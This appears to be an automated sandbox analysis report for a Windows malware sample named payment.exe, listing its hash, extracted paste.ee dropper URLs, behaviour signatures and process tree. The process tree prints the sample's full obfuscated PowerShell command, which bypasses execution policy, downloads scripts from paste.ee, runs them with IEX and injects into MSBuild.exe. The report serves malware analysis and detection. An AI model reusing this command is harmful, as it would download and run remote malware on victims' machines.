Analysis
- max time kernel
113s - max time network
132s - platform
windows10_x64 - resource
win10v20201028 - submitted
09/11/2020, 19:36
General
- Target payment.exe
- Size 804KB
- Sample201109-eck71w4v4n
- SHA256 c6d5e1fdae2634a3a2a29a8c5de69f725ebceefba86d3700bc922aac7f55a1f7
Malware Config
Extracted
-
ps1
-
ps1.dropper
httP://paste.ee/r/Wy6V2
-
ps1.dropper
httPs://paste.ee/r/mbstg
Signatures
- Blacklisted process makes network request 2 IoCs
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of SendNotifyMessage 2 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\payment.exe"C:\Users\Admin\AppData\Local\Temp\payment.exe"1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowERsHELl.ExEPowERsHELl.ExE -ExecutionPolicy bypass /e JAByAGUAZwAgAD0AIAAoACcAewAyAH0AewAwAH0AewAxAH0AewAzAH0AJwAtAGYAJwBkAFMAdAAnACwAJwByAGkAbgAnACwAHCBgAEQAYABvAGAAdwBuAGAAbABgAG8AYQAdICwAJwBnACcAKQA7AFsAdgBvAGkAZABdACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACcATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMAJwApADsAJABmAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAHIAZQBnACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAJwAgACsAIABbAEMAaABhAHIAXQA1ADgAIAArACAAJwAvAC8AcABhAHMAdABlAC4AZQBlAC8AcgAvAFcAeQA2AFYAMgAnACkALgBSAGUAcABsAGEAYwBlACgAIgBAAEAAIgAsACAAIgA0ADQAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAIQAiACwAIAAiADcAOAAiACkAfABJAEUAWAA7AFsAQgB5AHQAZQBbAF0AXQAkAGYAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAHIAZQBnACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAcwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBwAGEAcwB0AGUALgBlAGUALwByAC8AbQBiAHMAdABnACcAKQAuAHIAZQBwAGwAYQBjAGUAKAAnACQAJAAnACwAJwAwAHgAJwApAHwASQBFAFgAOwBbAGsALgBIAGEAYwBrAGkAdAB1AHAAXQA6ADoAZQB4AGUAKAAnAE0AUwBCAHUAaQBsAGQALgBlAHgAZQAnACwAJABmACkA2⤵
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Matrix
Replay Monitor
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Downloads
memory/2588-1-0x0000000072770000-0x0000000072E5E000-memory.dmp
memory/2588-2-0x0000000004D60000-0x0000000004D61000-memory.dmp
memory/2588-3-0x0000000007840000-0x0000000007841000-memory.dmp
memory/2588-4-0x0000000007400000-0x0000000007401000-memory.dmp
memory/2588-5-0x00000000075B0000-0x00000000075B1000-memory.dmp
memory/2588-6-0x0000000007620000-0x0000000007621000-memory.dmp
memory/2588-7-0x0000000007E70000-0x0000000007E71000-memory.dmp
memory/2588-8-0x0000000007580000-0x0000000007581000-memory.dmp
memory/2588-9-0x0000000007770000-0x0000000007771000-memory.dmp
memory/2588-10-0x0000000008490000-0x0000000008491000-memory.dmp
memory/2588-11-0x00000000093D0000-0x00000000093D1000-memory.dmp
memory/2588-12-0x0000000009D60000-0x0000000009D61000-memory.dmp
memory/2588-13-0x00000000094F0000-0x00000000094F1000-memory.dmp